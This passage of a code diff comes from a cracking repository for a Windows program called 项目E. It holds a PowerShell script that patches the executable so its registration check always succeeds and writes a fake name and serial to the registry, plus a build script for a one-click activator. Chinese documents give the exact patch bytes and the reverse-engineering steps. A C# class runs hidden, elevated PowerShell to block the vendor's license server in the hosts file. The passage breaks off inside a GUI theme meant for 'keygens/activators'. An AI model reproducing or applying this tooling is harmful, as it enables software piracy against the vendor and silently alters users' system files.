Log ("输入 SHA256: " + (Get-FileHash -Algorithm SHA256 $ExePath).Hash)
|
||||
|
||||
# 3a. 判定是否已补丁(call 目标 == stub)
|
||||
function Get-CallTarget([byte[]]$data) {
|
||||
$pe = [BitConverter]::ToInt32($data, 0x3C)
|
||||
$nsec = [BitConverter]::ToUInt16($data, $pe + 6)
|
||||
$opt = $pe + 24
|
||||
$imgBase = [BitConverter]::ToInt64($data, $opt + 24)
|
||||
$secOff = $opt + [BitConverter]::ToUInt16($data, $pe + 20)
|
||||
for ($i = 0; $i -lt $nsec; $i++) {
|
||||
$so = $secOff + $i * 40
|
||||
$vsize = [BitConverter]::ToInt32($data, $so + 8)
|
||||
$vaddr = [BitConverter]::ToUInt32($data, $so + 12)
|
||||
$rsize = [BitConverter]::ToInt32($data, $so + 16)
|
||||
$raddr = [BitConverter]::ToUInt32($data, $so + 20)
|
||||
$sva = $imgBase + $vaddr
|
||||
$max = [Math]::Max($vsize, $rsize)
|
||||
if ($script:CallVa -ge $sva -and $script:CallVa -lt ($sva + $max)) {
|
||||
$off = $raddr + ($script:CallVa - $sva)
|
||||
if ($data[$off] -ne 0xE8) { throw 'call 指令校验失败(非 E8)' }
|
||||
$rel = [BitConverter]::ToInt32($data, $off + 1)
|
||||
return (($script:CallVa + 5 + $rel) -band 0xFFFFFFFFFFFF)
|
||||
}
|
||||
}
|
||||
throw 'call VA 不在任何节内'
|
||||
}
|
||||
function Va-Offset([byte[]]$data, [long]$va) {
|
||||
$pe = [BitConverter]::ToInt32($data, 0x3C)
|
||||
$nsec = [BitConverter]::ToUInt16($data, $pe + 6)
|
||||
$opt = $pe + 24
|
||||
$imgBase = [BitConverter]::ToInt64($data, $opt + 24)
|
||||
$secOff = $opt + [BitConverter]::ToUInt16($data, $pe + 20)
|
||||
for ($i = 0; $i -lt $nsec; $i++) {
|
||||
$so = $secOff + $i * 40
|
||||
$vsize = [BitConverter]::ToInt32($data, $so + 8)
|
||||
$vaddr = [BitConverter]::ToUInt32($data, $so + 12)
|
||||
$rsize = [BitConverter]::ToInt32($data, $so + 16)
|
||||
$raddr = [BitConverter]::ToUInt32($data, $so + 20)
|
||||
$sva = $imgBase + $vaddr
|
||||
$max = [Math]::Max($vsize, $rsize)
|
||||
if ($va -ge $sva -and $va -lt ($sva + $max)) { return ($raddr + ($va - $sva)) }
|
||||
}
|
||||
throw ("VA 0x{0:X} 不在任何节内" -f $va)
|
||||
}
|
||||
|
||||
$alreadyPatched = $false
|
||||
try { $alreadyPatched = ((Get-CallTarget $bytes) -eq $StubVa) } catch { }
|
||||
|
||||
if ($alreadyPatched) {
|
||||
Log '目标已是补丁版,跳过替换(保持原位)'
|
||||
} else {
|
||||
# 备份
|
||||
$bak = [System.IO.Path]::ChangeExtension($ExePath, '.orig.exe')
|
||||
if (-not (Test-Path $bak)) {
|
||||
Copy-Item $ExePath $bak
|
||||
Log "已备份原件 -> $bak"
|
||||
} else {
|
||||
Log "备份已存在(保留): $bak"
|
||||
}
|
||||
# stub
|
||||
$stubOff = Va-Offset $bytes $StubVa
|
||||
[Array]::Copy($StubBytes, 0, $bytes, $stubOff, $StubBytes.Length)
|
||||
# call 重定向
|
||||
$callOff = Va-Offset $bytes $CallVa
|
||||
if ($bytes[$callOff] -ne 0xE8) { throw 'call 指令校验失败' }
|
||||
$rel = [int](($StubVa - ($CallVa + 5)) -band 0xFFFFFFFF)
|
||||
$bytes[$callOff] = 0xE8
|
||||
$relBytes = [BitConverter]::GetBytes($rel)
|
||||
[Array]::Copy($relBytes, 0, $bytes, $callOff + 1, 4)
|
||||
# 原位写回
|
||||
[System.IO.File]::WriteAllBytes($ExePath, $bytes)
|
||||
Log '补丁已写入并原位替换'
|
||||
}
|
||||
|
||||
# 复读校验
|
||||
$check = [System.IO.File]::ReadAllBytes($ExePath)
|
||||
$target2 = Get-CallTarget $check
|
||||
$stubOff2 = Va-Offset $check $StubVa
|
||||
$stubOk = -not (Compare-Object $StubBytes ([byte[]]$check[$stubOff2..($stubOff2 + 5)]))
|
||||
if ($target2 -ne $StubVa -or -not $stubOk) { throw '补丁复读校验失败!' }
|
||||
Log ("输出 SHA256: " + (Get-FileHash -Algorithm SHA256 $ExePath).Hash)
|
||||
Log '补丁校验通过(IsRegistered 判定恒 3)'
|
||||
|
||||
# ---------- 4. 随机名/码 ----------
|
||||
if ($Name -eq '') { $Name = 'Pro User ' + (Get-Random -Minimum 100 -Maximum 9999) }
|
||||
if ($Code -eq '') {
|
||||
$chars = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ'
|
||||
$parts = @()
|
||||
for ($g = 0; $g -lt 4; $g++) {
|
||||
$s = ''
|
||||
for ($i = 0; $i -lt 7; $i++) { $s += $chars[(Get-Random -Maximum $chars.Length)] }
|
||||
$parts += $s
|
||||
}
|
||||
$Code = $parts -join '-'
|
||||
}
|
||||
|
||||
# ---------- 5. 写注册表(备份原值) ----------
|
||||
New-Item -Path $RegRoot -Force | Out-Null
|
||||
$oldR = (Get-ItemProperty -Path $RegRoot -Name RN -ErrorAction SilentlyContinue).RN
|
||||
$oldC = (Get-ItemProperty -Path $RegRoot -Name RC -ErrorAction SilentlyContinue).RC
|
||||
if ($BackupPath -eq '') {
|
||||
$BackupPath = Join-Path $env:TEMP 'uninstall-tool-keygen\registry-backup.txt'
|
||||
}
|
||||
$bakDir = Split-Path -Parent $BackupPath
|
||||
if (-not (Test-Path -LiteralPath $bakDir)) {
|
||||
New-Item -ItemType Directory -Path $bakDir -Force | Out-Null
|
||||
Log "已创建备份目录: $bakDir"
|
||||
}
|
||||
"RN=$oldR`r`nRC=$oldC" | Set-Content -Path $BackupPath -Encoding UTF8
|
||||
Log "注册表原值已备份 -> $BackupPath"
|
||||
|
||||
Set-ItemProperty -Path $RegRoot -Name RN -Value $Name -Type String
|
||||
Set-ItemProperty -Path $RegRoot -Name RC -Value $Code -Type String
|
||||
|
||||
# 复读校验
|
||||
$rn2 = (Get-ItemProperty -Path $RegRoot -Name RN).RN
|
||||
$rc2 = (Get-ItemProperty -Path $RegRoot -Name RC).RC
|
||||
if ($rn2 -ne $Name -or $rc2 -ne $Code) { throw '注册表复读校验失败!' }
|
||||
Log "注册表已写入: RN=$Name / RC=$Code(复读校验通过)"
|
||||
|
||||
# ---------- 完成 ----------
|
||||
Write-Host ''
|
||||
Write-Host '========== 一键激活完成 =========='
|
||||
Write-Host (" 补丁 exe : " + $ExePath)
|
||||
Write-Host (" 原件备份 : " + [System.IO.Path]::ChangeExtension($ExePath, '.orig.exe'))
|
||||
Write-Host (" 注册名 : " + $Name)
|
||||
Write-Host (" 注册码 : " + $Code)
|
||||
Write-Host (" 注册表 : " + $RegRoot)
|
||||
Write-Host '重启 项目E 后生效(About 显示已授权)。'
|
||||
Write-Host '==================================='
|
||||
@@ -0,0 +1,43 @@
|
||||
# Build 项目E Activate (C#5 / .NET Framework 4.8, csc)
|
||||
# Usage: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
$root = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$src = Join-Path $root 'src'
|
||||
$tests = Join-Path $root 'tests'
|
||||
$out = Join-Path $root 'tools'
|
||||
|
||||
# locate csc.exe (Framework 4.x, fall back 32-bit path)
|
||||
$fx = 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319'
|
||||
if (-not (Test-Path (Join-Path $fx 'csc.exe'))) {
|
||||
$fx = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319'
|
||||
}
|
||||
$csc = Join-Path $fx 'csc.exe'
|
||||
if (-not (Test-Path $csc)) { throw "csc.exe not found under $fx" }
|
||||
Write-Host "Using csc: $csc"
|
||||
|
||||
$common = @('/nologo', '/codepage:65001')
|
||||
$refsGui = @('/r:System.dll', '/r:System.Drawing.dll', '/r:System.Windows.Forms.dll')
|
||||
|
||||
function Invoke-Csc {
|
||||
param([string]$Target, [string]$Name, [string[]]$Refs, [string[]]$Sources)
|
||||
$cscArgs = @($common, "/target:$Target", "/out:$(Join-Path $out $Name)") + $Refs + $Sources
|
||||
& $csc @cscArgs
|
||||
if ($LASTEXITCODE -ne 0) { throw "csc failed for $Name" }
|
||||
Write-Host "OK: $Name"
|
||||
}
|
||||
|
||||
New-Item -ItemType Directory -Force -Path $out | Out-Null
|
||||
|
||||
# one-click activation GUI (patch + registry write in a single window)
|
||||
Invoke-Csc 'winexe' '项目EActivate.exe' $refsGui @((Join-Path $src '项目EActivate.cs'), (Join-Path $src 'LicenseAlgo.cs'), (Join-Path $src 'LicenseWriter.cs'), (Join-Path $src 'Patcher.cs'), (Join-Path $src 'HostsGuard.cs'))
|
||||
|
||||
# console self-check (algorithm + patch bytes + registry writer)
|
||||
Invoke-Csc 'exe' 'test_tool.exe' $refsGui @((Join-Path $tests 'test_tool.cs'), (Join-Path $src 'LicenseAlgo.cs'), (Join-Path $src 'LicenseWriter.cs'), (Join-Path $src 'Patcher.cs'))
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Running self-check...'
|
||||
& (Join-Path $out 'test_tool.exe')
|
||||
if ($LASTEXITCODE -ne 0) { throw 'test_tool self-check FAILED' }
|
||||
Write-Host ''
|
||||
Write-Host 'Build complete. Artifacts in tools/ (项目EActivate.exe, test_tool.exe)'
|
||||
@@ -0,0 +1,107 @@
|
||||
# 项目E 注册校验机理与补丁原理
|
||||
|
||||
> 目标组件:`项目E.exe`(主程序,x64 原生 C++,MSVC 19.50)+
|
||||
> `项目EHelper.exe`(EXECryptor 授权运行时,共享内存 IPC 服务)
|
||||
> 版本:项目E <目标版本>(2026-08 构建,SHA256 `93cfbeaa...d48229`)
|
||||
|
||||
## 1. 结论先行
|
||||
|
||||
项目E 的注册校验是 **EXECryptor 授权运行时验签 + 激活时在线核验** 的
|
||||
混合体系,**不存在可从本地还原的纯算号器路径**:
|
||||
|
||||
- 序列号(SerialNum)由 EXECryptor SDK 生成,**绑定机器码签名**,验签私钥在
|
||||
项目E 侧;验签逻辑位于 `项目EHelper.exe` 内且被 **EXECryptor VM
|
||||
虚拟化**(`FUN_0046ef97` 为 VM stub,静态不可还原)。
|
||||
- 激活时主程序经 Helper 向 `项目E.license-manage.com/verify.php` 做在线核验
|
||||
(源码路径 `<本地路径> 泄露组件名),
|
||||
服务器返回 `result` / `ExpiryMonth` / `ExpiryYear` / `LicType` / `UserParam`。
|
||||
|
||||
因此本仓库交付 **patch 版一键激活工具**(主程序判定改写 + 注册表写入),而非算号器。
|
||||
|
||||
## 2. 校验流程(主程序侧判定链)
|
||||
|
||||
```
|
||||
注册对话框(FUN_14002da88)
|
||||
→ CLicenseManager::Activate(FUN_1400320d4) 0x1400320D4
|
||||
→ VerifySerialNumberW 封装(FUN_140009e60) 0x140009E60
|
||||
→ ExecuteXMLRequest(FUN_140009290) 0x140009290
|
||||
共享内存 Global\项目EHelper_Memory
|
||||
→ Helper 分发循环(Helper FUN_00405f7d)
|
||||
→ VerifySerialNumber 实现(EXECryptor VM + verify.php)
|
||||
← JSON { "result": 0|2|3, "ExpiryMonth":.., "ExpiryYear":..,
|
||||
"LicType":.., "UserParam":.. }
|
||||
→ IsRegistered 查询封装(FUN_140009db0) 0x140009DB0
|
||||
(同样走共享内存,返回 json["result"])
|
||||
[result == 3] → 成功分支:
|
||||
写注册表 HKCU\Software\项目E Software\项目E
|
||||
RN = 注册名(值名 0x14039bc1c,L"RN")
|
||||
RC = 注册码(值名 0x14039bc24,L"RC")
|
||||
内存状态 param_1+0x170/0x178= 注册名/码,param_1+0x188 = LicType(0→归一为 1)
|
||||
[else] → "activation: the key was not accepted" → 失败提示(msgRegFailed)
|
||||
|
||||
启动检查 CLicenseManager::CheckRegistration(FUN_1400329c4)
|
||||
注册表 RN/RC 非空 → 同上 VerifySerialNumberW + IsRegistered → result==3 → 已注册
|
||||
RN/RC 为空 → SecureReadW(EXECryptor 加密存储,键名 RegName/SerialNum,legacy 通道)
|
||||
均无 → 试用期:RF/RL(0x14039bb30/38,XOR 编码时间戳)→ 30 天倒计时(0x1e 天)
|
||||
+ 时钟回拨检测("CLCK MVD BCK" / "CLCK DS LT {}" / _atoi64)
|
||||
末尾 FUN_140009270 启动 Helper,失败 → TerminateProcess(Helper 是必需组件)
|
||||
```
|
||||
|
||||
## 3. 补丁原理(IsRegistered 恒 3)
|
||||
|
||||
`FUN_140009db0` 是**唯一**的注册状态判定源,被 CheckRegistration(2 处)与
|
||||
Activate(2 处)复用。函数尾 `mov eax, edi` 返回 `json["result"]`。
|
||||
把其中 `atoi(json["result"])` 的调用点重定向到 stub 即可令 result 恒为 3:
|
||||
|
||||
```
|
||||
0x140009E0F E8 B4 4A 2D 00 call 0x1402DE8C8 ; atoi(json["result"])
|
||||
0x140009E0F E8 0E 78 F9 FF call 0x140001622 ; -> stub
|
||||
0x140001622 B8 03 00 00 00 mov eax, 3
|
||||
0x140001627 C3 ret
|
||||
```
|
||||
|
||||
副作用分析:
|
||||
|
||||
| 调用方 | 原行为 | patch 后 | 风险 |
|
||||
|---|---|---|---|
|
||||
| Activate(对话框提交) | result!=3 → 拒绝 | 恒成功,写 RN/RC + LicType=1 | 无 |
|
||||
| CheckRegistration(启动) | 未注册 → 试用期逻辑 | 恒已注册;RN/RC 为空时注册名显示空 | 需先用工具写 RN/RC |
|
||||
| 便携版检查(FUN_1400347f4) | 需 LicType 998/999 | 安装版路径不受影响 | 便携版不适用(见 README) |
|
||||
| Helper 在线核验 | 激活时联网 | 主程序不再依赖其返回值 | Helper 仍可联网(可选 hosts 屏蔽) |
|
||||
|
||||
## 4. 弱点分析
|
||||
|
||||
1. **判定集中**:result==3 的最终仲裁全部在主程序侧完成,Helper 只提供"服务",没有
|
||||
独立推送注册状态的能力(或至少主程序不信任它的主动状态)——单点改写即可覆盖
|
||||
对话框与启动两条路径。
|
||||
2. **局部变量先清零后归一**:`local_478`(LicType 输出)在调用验证前被
|
||||
`memset(0, 0x16)` 清零,验证"失败"时 LicType=0 → 自动归一为 1(单机授权),
|
||||
因此 patch 后无需额外修补 LicType。
|
||||
3. **值名混淆但可枚举**:注册表值名使用短混淆名(RN/RC/VH/VL/RF/RL),由 .rdata
|
||||
常量直接引用,可被静态枚举。
|
||||
4. **Helper 共享内存协议**:`Global\项目EHelper_Memory` + 命名事件 +
|
||||
`Local\UTOOL` 互斥体,明文 XML 请求(方法名 `VerifySerialNumberW`/`IsRegistered`、
|
||||
字段 `Name`/`Serial`/`result`)——无认证/签名保护,可伪造请求(但 Helper 的
|
||||
验签实现被 VM 保护,伪造请求无助生成有效序列号)。
|
||||
|
||||
## 5. 覆盖范围与限制
|
||||
|
||||
- 仅覆盖安装版(Single Computer License 语义,LicType→1)。便携版需要独立的
|
||||
Portable license 与 license.dat 通道,本补丁不适用于便携版(README 已注明)。
|
||||
- 补丁作用于 项目E.exe **副本**;Helper、语言包、其它组件不修改。
|
||||
- 已知样本指纹:输入 `93cfbeaa...d48229` → 输出 `721bdb0b...`;其它版本
|
||||
需重新定位常量(脚本已按结构校验,非指纹匹配亦可应用)。
|
||||
|
||||
## 6. 复现
|
||||
|
||||
```bash
|
||||
python scripts/windows/uninstall_tool_patch.py samples/windows/项目E.exe out\项目E-patched.exe
|
||||
python scripts/windows/uninstall_tool_patch.py --verify out\项目E-patched.exe # is_patched=True
|
||||
```
|
||||
|
||||
C# 复现(零依赖):
|
||||
|
||||
```powershell
|
||||
powershell -ExecutionPolicy Bypass -File <本地路径> # ALL PASS
|
||||
.\tools\test_tool.exe 'E:\...\samples\windows\项目E.exe' # 含真实样本断言
|
||||
```
|
||||
@@ -0,0 +1,75 @@
|
||||
# 逆向方法论:从 EXECryptor 混合授权体系到激活补丁
|
||||
|
||||
本文记录 项目E 注册校验机制从三态体系到可交付补丁的完整逆向路径。
|
||||
|
||||
## 1. 样本概况
|
||||
|
||||
- 分发形式:Inno Setup 安装(`<本地路径> 安装目录,含 `unins000.exe`)
|
||||
- 主程序:`项目E.exe`,PE32+ x64,原生 C++,MSVC 19.50.35227
|
||||
(VS2026 工具链),6,451,848 字节,Authenticode 签名
|
||||
- 配套组件:`项目EHelper.exe`(授权运行时,474,720 字节)、
|
||||
`项目E.cpl`、`PinToTaskbar.exe`、`languages\*.xml`
|
||||
- 版本:<目标版本>;SHA256 `<实测哈希>`
|
||||
- PDB:`<本地路径>
|
||||
本地不可得,Ghidra 以 FUN_xxxx 命名)
|
||||
|
||||
## 2. 保护机制(EXECryptor 混合授权)
|
||||
|
||||
| 层 | 载体 | 机制 | 判定 |
|
||||
|---|---|---|---|
|
||||
| 授权 SDK | Helper | EXECryptor 授权运行时:序列号绑定机器码(RSD),验签实现被 VM 虚拟化(`FUN_0046ef97` VM stub,反编译为不可执行伪码) | 无 keygen 路径 |
|
||||
| 在线核验 | Helper | `verify.php` @ `项目E.license-manage.com`(`verify_php_sender.h` 源码路径泄露) | 激活必须联网 |
|
||||
| IPC | 主程序↔Helper | 共享内存 `Global\项目EHelper_Memory`(0x200B) + 事件 `EventSent/EventComplete` + 互斥体 `Local\UTOOL`;XML 明文请求,JSON 响应 | 可观测协议 |
|
||||
| 注册表存储 | 主程序 | `HKCU\Software\项目E Software\项目E`,值名 RN/RC(许可证)、VH/VL(版本戳)、RF/RL(试用时间戳,XOR 编码) | 可读写 |
|
||||
| 时间防护 | 主程序 | 试用 30 天(`0x1e`)、时钟回拨检测(`CLCK MVD BCK`/`CLCK DS LT {}`)、首次运行戳(`FirstRun`/`SetFirstRunTime`) | 可绕过(注册后不生效) |
|
||||
|
||||
未加壳:DiE 无 packer、各节 entropy 正常(overlay 高熵为签名数据)——
|
||||
**保护重点不在代码加密而在授权体系设计**。
|
||||
|
||||
## 3. 静态还原步骤
|
||||
|
||||
1. **triage**:`triage_pe`(hash/DiE/entropy/节表/导入)+ `rz-bin -zz` 字符串全量落盘
|
||||
(102,259 行)。命中 `license.dat`、`RegName`/`SerialNum`、`Software\项目E
|
||||
Software\项目E`、`msgRegFailed`、`项目E.license-manage.com`、
|
||||
`VerifySerialNumberW`、`CLicenseManager::*`——一次锁定全部线索。
|
||||
2. **导入面**:Reg* 全套(ADVAPI32)+ WININET/WS2_32 网络面 + CRYPT32 Cert*
|
||||
(仅 HTTPS 链验证)+ CryptGenRandom;**无 MD5/SHA/对称加密 API** →
|
||||
排除本地密码学校验假设。
|
||||
3. **Ghidra headless**(6.4MB / 15,366 函数,300s+ 分析):
|
||||
- 字符串 xref 反查函数(自制 `scripts/misc/ghidra_summary_query.py --by-string`)
|
||||
- `VerifySerialNumberW` 封装(FUN_140009e60):构造 XML 请求 → 共享内存 →
|
||||
解析 JSON `result/ExpiryMonth/ExpiryYear/LicType/UserParam`
|
||||
- `CLicenseManager::Activate`(FUN_1400320d4):result!=3 → "key was not
|
||||
accepted";成功 → 写 RN/RC + 内存状态 + LicType 归一
|
||||
- `CLicenseManager::CheckRegistration`(FUN_1400329c4,完整反编译 40,130 字符):
|
||||
启动判定 + 试用期 + 时钟防护
|
||||
- 完整反编译导出:`scripts/_shared/ghidra/DumpFunctionsDecompile.java`
|
||||
(summary 内置 preview 仅 5,000 字符,大函数需二次导出)
|
||||
4. **字节级定位**:rizin 反汇编 `FUN_140009db0`,确认 `mov eax,edi` 返回路径与
|
||||
`call atoi` 位置(0x140009E0F);Python 扫 .text 找 CC 填充区(0x140001622)。
|
||||
5. **动态验证**:patch 副本 → 与 Helper 同目录运行(Helper 是必需组件,主程序启动
|
||||
失败会 TerminateProcess)→ 主窗口 `项目E <目标版本>` 正常(hwnd 枚举);
|
||||
注册表写入 RN/RC 后被读取。
|
||||
|
||||
## 4. 补丁交付
|
||||
|
||||
见 `docs/algorithm.md` §3。工具链三层复用:
|
||||
|
||||
```
|
||||
python scripts/windows/uninstall_tool_patch.py # 独立复现(含 --verify)
|
||||
src/Patcher.cs(C# 镜像实现,纯字节数组,可单测) # 工具内嵌
|
||||
tests/test_tool.cs(模拟 PE + 真实样本断言) # 构建自检 ALL PASS
|
||||
```
|
||||
|
||||
## 5. Open Questions
|
||||
|
||||
- Helper 的 `FUN_0046ef97`(VM stub)背后是纯本地验签还是先本地后在线——
|
||||
动态抓包可进一步确认 verify.php 调用频度(激活时 vs 每次启动)。
|
||||
- 便携版激活通道(license.dat + LicType 998/999)未覆盖。
|
||||
|
||||
## 6. 环境备注
|
||||
|
||||
- bash 作业对象会在命令结束时终止其启动的 GUI 进程:动态观察须在**单次命令内**
|
||||
完成"启动→检查→枚举"。
|
||||
- 本机系统事件流量过大,Procmon PML 大窗口导出 CSV 受限(见
|
||||
`exports\windows\procmon\README.md`),已用静态反编译 + 注册表实测等价取证。
|
||||
@@ -0,0 +1,66 @@
|
||||
// HostsGuard - 屏蔽 项目E 在线核验/更新服务器(可选加固)
|
||||
// C# 5 / .NET Framework 4.x compatible.
|
||||
//
|
||||
// 逆向确认:激活时主程序经 项目EHelper.exe 向
|
||||
// 项目E.license-manage.com/verify.php 做在线核验;版本更新走 项目E.com。
|
||||
// patch 使主程序本地判定恒 3 后,在线核验不再影响注册状态;屏蔽域名可进一步
|
||||
// 减少 Helper 的联网行为(网络异常时核验失败也不影响已注册状态)。
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
namespace UtLicense
|
||||
{
|
||||
public static class HostsGuard
|
||||
{
|
||||
public const string Host = "项目E.license-manage.com";
|
||||
public const string BlockEntry = "0.0.0.0 " + Host;
|
||||
|
||||
public static string HostsPath()
|
||||
{
|
||||
return Path.Combine(Environment.SystemDirectory, "drivers", "etc", "hosts");
|
||||
}
|
||||
|
||||
// true 表示 hosts 已有非注释行的屏蔽记录
|
||||
public static bool IsBlocked()
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = HostsPath();
|
||||
if (!File.Exists(path)) return false;
|
||||
foreach (string raw in File.ReadAllLines(path))
|
||||
{
|
||||
string line = raw.Trim();
|
||||
if (line.Length == 0 || line.StartsWith("#")) continue;
|
||||
int hash = line.IndexOf('#');
|
||||
if (hash >= 0) line = line.Substring(0, hash).Trim();
|
||||
if (line.IndexOf(Host, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
// 提权追加 hosts 记录(UAC);返回是否成功发起
|
||||
public static bool BlockViaUac()
|
||||
{
|
||||
string args = "-NoProfile -WindowStyle Hidden -Command \"" +
|
||||
"Add-Content -Path $env:SystemRoot\\System32\\drivers\\etc\\hosts " +
|
||||
"-Value '\\r\\n# block uninstall-tool license verification\\r\\n" +
|
||||
BlockEntry + "' -Encoding ASCII\"";
|
||||
try
|
||||
{
|
||||
ProcessStartInfo psi = new ProcessStartInfo();
|
||||
psi.FileName = "powershell.exe";
|
||||
psi.Arguments = args;
|
||||
psi.Verb = "runas";
|
||||
psi.UseShellExecute = true;
|
||||
psi.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
Process.Start(psi);
|
||||
return true;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,507 @@
|
||||
// INT0 Unified Design System — Desktop Windows GUI Suite
|
||||
// Reusable C# WinForms Theme & Controls for all INT0 keygens/activators.
|
||||
// Strictly compatible with C# 5 (.NET Framework 4.0/4.5/4.8+ csc.exe).
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Int0.UI
|
||||
{
|
||||
public static class Int0Theme
|
||||
{
|
||||
// Colors
|
||||
public static readonly Color Canvas = Color.FromArgb(13, 14, 18); // #0D0E12
|
||||
public static readonly Color Surface = Color.FromArgb(21, 24, 31); // #15181F
|
||||
public static readonly Color SurfaceElevated = Color.FromArgb(28, 32, 42); // #1C202A
|
||||
public static readonly Color ConsoleBg = Color.FromArgb(7, 8, 10); // #07080A
|
||||
public static readonly Color Border = Color.FromArgb(37, 42, 54); // #252A36
|
||||
public static readonly Color BorderSubtle = Color.FromArgb(48, 54, 70); // #303646
|
||||
public static readonly Color BorderActive = Color.FromArgb(62, 72, 86); // #3E4856
|
||||
|
||||
public static readonly Color AccentOrange = Color.FromArgb(255, 59, 0); // #FF3B00
|
||||
public static readonly Color AccentOrangeHover = Color.FromArgb(255, 85, 34); // #FF5522
|
||||
public static readonly Color AccentOrangeDeep = Color.FromArgb(204, 47, 0); // #CC2F00
|
||||
public static readonly Color AccentCyan = Color.FromArgb(0, 229, 255); // #00E5FF
|
||||
public static readonly Color AccentCyanHover = Color.FromArgb(51, 234, 255); // #33EAFF
|
||||
public static readonly Color AccentEmerald = Color.FromArgb(16, 185, 129); // #10B981
|
||||
public static readonly Color AccentAmber = Color.FromArgb(245, 158, 11); // #F59E0B
|
||||
public static readonly Color AccentCrimson = Color.FromArgb(239, 68, 68); // #EF4444
|
||||
|
||||
public static readonly Color TextPrimary = Color.FromArgb(255, 255, 255);
|
||||
public static readonly Color TextSecondary = Color.FromArgb(228, 228, 231);
|
||||
public static readonly Color TextMuted = Color.FromArgb(161, 161, 170);
|
||||
public static readonly Color TextFaint = Color.FromArgb(113, 113, 122);
|
||||
|
||||
// DWM Immersive Dark Mode P/Invoke
|
||||
[DllImport("dwmapi.dll", PreserveSig = true)]
|
||||
private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, ref int attrValue, int attrSize);
|
||||
|
||||
public static void EnableImmersiveDarkMode(IntPtr hWnd)
|
||||
{
|
||||
if (hWnd == IntPtr.Zero) return;
|
||||
try
|
||||
{
|
||||
int dark = 1;
|
||||
// Try attribute 20 (Windows 10 20H1+ / Windows 11)
|
||||
int res = DwmSetWindowAttribute(hWnd, 20, ref dark, sizeof(int));
|
||||
if (res != 0)
|
||||
{
|
||||
// Fallback to attribute 19 (Windows 10 1809-1909)
|
||||
DwmSetWindowAttribute(hWnd, 19, ref dark, sizeof(int));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static Font GetMonoFont(float size, FontStyle style)
|
||||
{
|
||||
string[] preferred = new string[] { "JetBrains Mono", "Consolas", "SF Mono", "Lucida Console", "Courier New" };
|
||||
foreach (var name in preferred)
|
||||
{
|
||||
using (var test = new Font(name, size, style))
|
||||
{
|
||||
if (test.Name.Equals(name, StringComparison.OrdinalIgnoreCase))
|
||||
return new Font(name, size, style);
|
||||
}
|
||||
}
|
||||
return new Font(FontFamily.GenericMonospace, size, style);
|
||||
}
|
||||
|
||||
public static Font GetMonoFont(float size)
|
||||
{
|
||||
return GetMonoFont(size, FontStyle.Regular);
|
||||
}
|
||||
|
||||
public static Font GetSansFont(float size, FontStyle style)
|
||||
{
|
||||
string[] preferred = new string[] { "Inter", "Segoe UI", "Microsoft YaHei UI", "Arial" };
|
||||
foreach (var name in preferred)
|
||||
{
|
||||
using (var test = new Font(name, size, style))
|
||||
{
|
||||
if (test.Name.Equals(name, StringComparison.OrdinalIgnoreCase))
|
||||
return new Font(name, size, style);
|
||||
}
|
||||
}
|
||||
return new Font(FontFamily.GenericSansSerif, size, style);
|
||||
}
|
||||
|
||||
public static Font GetSansFont(float size)
|
||||
{
|
||||
return GetSansFont(size, FontStyle.Regular);
|
||||
}
|
||||
|
||||
public static GraphicsPath CreateRoundedRectangle(Rectangle bounds, int radius)
|
||||
{
|
||||
GraphicsPath path = new GraphicsPath();
|
||||
if (radius <= 0)
|
||||
{
|
||||
path.AddRectangle(bounds);
|
||||
return path;
|
||||
}
|
||||
int d = radius * 2;
|
||||
path.AddArc(bounds.X, bounds.Y, d, d, 180, 90);
|
||||
path.AddArc(bounds.Right - d, bounds.Y, d, d, 270, 90);
|
||||
path.AddArc(bounds.Right - d, bounds.Bottom - d, d, d, 0, 90);
|
||||
path.AddArc(bounds.X, bounds.Bottom - d, d, d, 90, 90);
|
||||
path.CloseFigure();
|
||||
return path;
|
||||
}
|
||||
}
|
||||
|
||||
public class Int0BaseForm : Form
|
||||
{
|
||||
public Int0BaseForm()
|
||||
{
|
||||
DoubleBuffered = true;
|
||||
BackColor = Int0Theme.Canvas;
|
||||
ForeColor = Int0Theme.TextSecondary;
|
||||
StartPosition = FormStartPosition.CenterScreen;
|
||||
FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
MaximizeBox = false;
|
||||
Font = Int0Theme.GetSansFont(9F);
|
||||
}
|
||||
|
||||
protected override void OnHandleCreated(EventArgs e)
|
||||
{
|
||||
base.OnHandleCreated(e);
|
||||
Int0Theme.EnableImmersiveDarkMode(Handle);
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
base.OnPaint(e);
|
||||
using (var p = new Pen(Int0Theme.BorderSubtle, 1))
|
||||
{
|
||||
e.Graphics.DrawLine(p, 0, 0, ClientSize.Width, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public enum Int0ButtonVariant
|
||||
{
|
||||
Primary, // Cyber Orange fill
|
||||
Secondary, // Dark surface with hairline border
|
||||
Success, // Emerald fill
|
||||
Danger // Crimson border/fill
|
||||
}
|
||||
|
||||
public class Int0Button : Button
|
||||
{
|
||||
private bool _isHovered = false;
|
||||
private bool _isPressed = false;
|
||||
private Int0ButtonVariant _variant = Int0ButtonVariant.Secondary;
|
||||
private int _cornerRadius = 4;
|
||||
|
||||
public Int0ButtonVariant Variant
|
||||
{
|
||||
get { return _variant; }
|
||||
set { _variant = value; Invalidate(); }
|
||||
}
|
||||
|
||||
public int CornerRadius
|
||||
{
|
||||
get { return _cornerRadius; }
|
||||
set { _cornerRadius = value; Invalidate(); }
|
||||
}
|
||||
|
||||
